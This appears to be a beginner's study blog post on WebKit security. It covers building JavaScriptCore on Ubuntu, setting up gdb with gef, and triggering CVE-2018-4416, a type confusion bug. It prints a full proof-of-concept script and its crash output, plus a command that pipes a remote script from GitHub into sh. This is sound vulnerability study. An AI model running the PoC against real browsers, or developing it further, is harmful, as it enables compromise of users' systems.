
Educational walkthrough of CVE-2018-4416, a WebKit JavaScriptCore type confusion vulnerability, with PoC, debugging setup, and analysis of common browser binary exploitation techniques.
I choose a relatively easy one: /WebKit/. (ChakraCore might be easier, LoL. But there's a rumor about Microsoft canceling the project. Thus I decided not to choose it).
I will write a series of posts to record my notes in studying /WebKit/ security. It's also my first time learning Browser Security, my posts probably will have lots of mistakes. If you notice them, don't be hesitate to contact me for corrections.
Before reading it, you need to know: - C++ grammar - Assembly Language grammar - Installation of Virtual Machine - Familiar to Ubuntu and its command line - Basic compile theory concepts
** Virtual Machine :PROPERTIES: :CUSTOM_ID: virtual-machine :END: First, we need to install a VM as our testing target. Here, I choose /Ubuntu 18.04 LTS/ and /Ubuntu 16.04 LTS/as our target host. You can download [[https://www.ubuntu.com/][here]]. If I don't specify the version, please use 18.04 LTS as default version.
Mac might be a more appropriate choice since it has XCode and Safari. Consider to MacOS's high resource consumption and unstable update, I would rather use Ubuntu.
We need a VM software. I prefer to use [[https://www.vmware.com/][VMWare]]. Parallel Desktop and VirtualBox(Free) are also fine, it depends on your personal habit.
I won't tell you how to install Ubuntu on VMWare step by step. However, I still need to remind you to allocate as much memory and CPUs as possible because compilation consumes a huge amount of resource. An 80GB disk should be enough to store source code and compiled files.
** Source Code :PROPERTIES: :CUSTOM_ID: source-code :END: You can download WebKit source code in three ways: [[https://github.com/WebKit/webkit][/git/]], /svn/, and [[https://webkit.org/getting-the-code/][/archive/]].
The default version manager of WebKit is svn. But I choose git(too unfamiliar to use svn):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** Debugger and Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE consumes lots of resource, so I use vim to edit source code.
Most debug works I have seen use lldb which I am not familiar to. Therefore, I also install gdb with gef plugin.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Compiling JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Compiling a full WebKit takes a large amount of time. We only compile JSC(JavaScript Core) currently, where most vulnerabilities come from.
Now, you should in the root directory of WebKit source code. Run this to prepare dependencies:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
Even though we still not compile full WebKit now, you can install remaining dependencies first for future testing. This step is not required in compiling JSC if you don't want to spend too much time:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
After that, we can compile JSC:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
A couple of minutes later, we can run JSC by:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
Let's do some tests:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** Triggering Bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS here #+end_quote
We use [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] to test, here is the PoC. Store it to =poc.js= at the same folder of =jsc=:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
First, switch to the vulnerable version:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote It may spend even more time than compiling #+end_quote
Run: =./jsc poc.js=, and we can get:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
If we run this on latest version(=git checkout master= to switch back, and delete build content =rm -rf WebKitBuild/Relase/= and =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,
... // lots of error message
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
Now, we succeed triggering a bug!
I am not gonna to explain the detail(I don't know either). Hope we can figure out the root cause after a few weeks